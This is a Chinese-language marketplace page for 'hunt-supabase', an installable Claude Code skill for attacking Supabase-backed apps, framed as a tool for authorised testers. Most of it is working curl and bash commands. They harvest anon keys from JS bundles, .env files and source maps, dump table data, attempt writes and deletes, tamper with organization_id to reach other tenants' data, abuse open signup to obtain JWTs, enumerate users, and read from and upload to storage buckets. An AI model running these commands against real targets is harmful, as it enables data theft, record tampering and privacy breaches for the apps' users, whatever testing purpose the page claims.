mcpField
H
hunt-supabase

hunt-supabase

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 hunt-supabase

面向授权安全测试人员的 Supabase 安全审查技能,涵盖项目发现、RLS 与多租户访问检查,以及 Auth、RPC 和 Storage 的验证。它还提供攻击链、风险评级和注意事项,帮助区分公开配置与可利用访问。

主要功能

  1. 01发现 Supabase URL 和 anon key
  2. 02检查表数据及 RLS 读写权限
  3. 03验证组织 ID 越权与 RPC 数据范围
  4. 04检查 Auth 注册和用户枚举
  5. 05探测 Storage 桶及文件访问
  6. 06提供风险评级和误报提示

适用场景

  1. 01审查获准测试的 Supabase 项目
  2. 02验证匿名或已登录用户的数据访问边界
  3. 03测试多租户应用的组织隔离
  4. 04评估 Storage 暴露和开放注册风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-supabase

安装后在 Claude Code 中输入/hunt-supabase确认已加载。

详细介绍

HUNT-SUPABASE — Supabase 利用

皇冠明珠目标

Supabase 是开源的 Firebase 替代方案。它使用 **行级安全(RLS)**进行访问控制,但 RLS 策略经常配置错误,尤其是在快速开发技术栈(Lovable.dev、Bolt.new、Cursor)中。

价值最高的发现:

  1. 通过 anon key 访问公开表 — 当 RLS 已禁用或策略过于宽松时,使用 anon key 的 REST API 会返回表数据。严重。
  2. 通过 organization_id 绕过 RLS — UPDATE 操作会检查用户所有权,但不会检查 organization_id -> 可跨租户访问数据。严重。
  3. 返回全局数据的 RPC 函数 — 未按 auth.uid() 进行筛选的 SECURITY DEFINER RPC 函数 -> 返回所有用户的数据。高危。
  4. 未启用 RLS 的存储桶 — 可公开列出、上传和下载文件。高危。
  5. 开放注册 — 任何人都可以注册并获取 JWT。高危。
  6. 多租户枚举 — 同一开发者构建的多个应用中存在相同的 RLS 配置错误模式。中危。

阶段 1 — 查找 Supabase 项目

可通过 URL 格式识别 Supabase:https://[PROJECT_REF].supabase.co;anon key 格式为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...(以 eyJ 开头的 JWT)

1.1 在 JS Bundle 中搜索
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js

# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js

# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 在 .env 和配置文件中搜索
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"

# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 从源映射文件中提取
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
        keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
        for u in urls: print(f'URL: {u}')
        for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null

阶段 2 — Supabase 侦察

获取 Supabase URL 和 anon key 后:

SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"

# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
  if [ "$response" = "200" ]; then
    echo "[+] PUBLIC TABLE: $table"
    # Sample the data
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
  fi
done

阶段 3 — 使用 Anon Key 枚举数据

3.1 读取表数据
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 尝试写入访问权限
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"test_column": "pwned"}'

# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"admin": true}'

# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY"

阶段 4 — 通过篡改 Organization ID 绕过 RLS

这是多租户应用中最常见的 Supabase 漏洞。

4.1 通过 UPDATE 跨组织 IDOR
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"TARGET_ORG_UUID"}'

# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 未按组织筛选的 RPC 函数
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
    -H "Content-Type: application/json" -d '{}')
  if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
    echo "[+] RPC accessible: $rpc"
    echo "$response" | python3 -m json.tool | head -20
  fi
done
4.3 通过 WHOIS 枚举多租户
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"

# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = set(d['name_value'] for d in data)
    print('\n'.join(sorted(domains)))
except: pass
"

# Step 3: Test each for Supabase with the same broken RLS patterns

阶段 5 — 利用 Supabase Auth

5.1 开放注册
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "TestPassword123!"
  }'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 从注册中提取 JWT
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"TestPassword123!"}')

ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")

# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 暴力枚举用户
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
    -H "apikey: $ANON_KEY" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
  # HTTP 200 = new user created
  # HTTP 422 = email already exists -> VALID USER
  # HTTP 400 = validation error
  echo "$email: $response"
done

阶段 6 — 利用 Supabase Storage

# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
  -o /tmp/downloaded_file

# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"
# HTTP 200 with Key -> upload allowed!

# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY"

阶段 7 — 攻击链

链 A:JS 中的 Anon Key -> 导出公开表数据
JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)
链 B:开放注册 -> 已认证访问 -> 写入
Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks
链 C:通过 Org ID 绕过 RLS -> 跨租户访问
UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack
链 D:RPC 函数 -> 访问全局数据
RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage

验证严重程度

发现严重程度
Anon key 可对包含 PII 的表执行 SELECT严重
Anon key 可执行 INSERT/UPDATE/DELETE严重
开放注册(任何人都能创建账户)高危
RPC 返回跨组织数据高危
存储桶可公开列出或下载高危
存储桶可公开上传严重
通过注册枚举电子邮件地址低危至中危
通过篡改 org_id 绕过 RLS严重
表缺少 RLS 策略高危
仅有 Supabase 项目 ID(无 key)信息提示

验证

运行此自测,以确认 Supabase 搜索准备就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能包含类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可验证技能结构正确且已准备就绪。


陷阱

  • Supabase anon key 暴露 — anon key 本来就是公开的。它授予受 RLS 限制的访问权限。真正的问题在于缺少 RLS 策略。
  • 绕过 RLS 的公开存储桶 — 如果 RLS 策略允许公开读取存储内容,这是预期行为。需要确认是否能访问本应私有的数据。
  • Supabase URL + anon key 作为凭据 — 这些是配置值,不是秘密。应根据 anon key 通过缺失的 RLS 能访问哪些内容来评估影响。
  • Supabase 实时订阅未包含敏感数据 — 订阅公开频道是预期行为。需要确认是否能订阅私有频道。

相关技能

  • hunt-firebase — Firebase/Firestore/GCP 同类目标利用(类似匿名密钥模式)
  • hunt-source-leak — 在 JS 包、.env、源映射中发现 API 密钥
  • hunt-idor — 通过 organization_id 绕过 RLS 是 IDOR 的一种变体
  • hunt-api-misconfig — REST API 端点枚举方法
  • hunt-cors — Supabase REST API 端点上的 CORS
  • hunt-schema-enumeration — 错误提示枚举技术(发现 Supabase 表名的主要方法)
  • hunt-write-gap — 通过架构枚举找到表后,测试 PATCH/POST/DELETE

错误提示枚举 — 架构发现

查询不存在的表时,PostgREST 会返回表名提示。这是映射整个 Supabase 架构最快的方法:

SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."

# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
  sessions subscribers movements payments transactions wallets accounts; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
  hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
  if [ -n "$hint" ]; then echo "  ${table} -> ${hint}"; fi
done

# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered

映射完架构后,继续使用 hunt-write-gap 测试已发现表上的写入操作。

常见 Supabase 发现格式

# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'

# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"

评论

支持 Markdown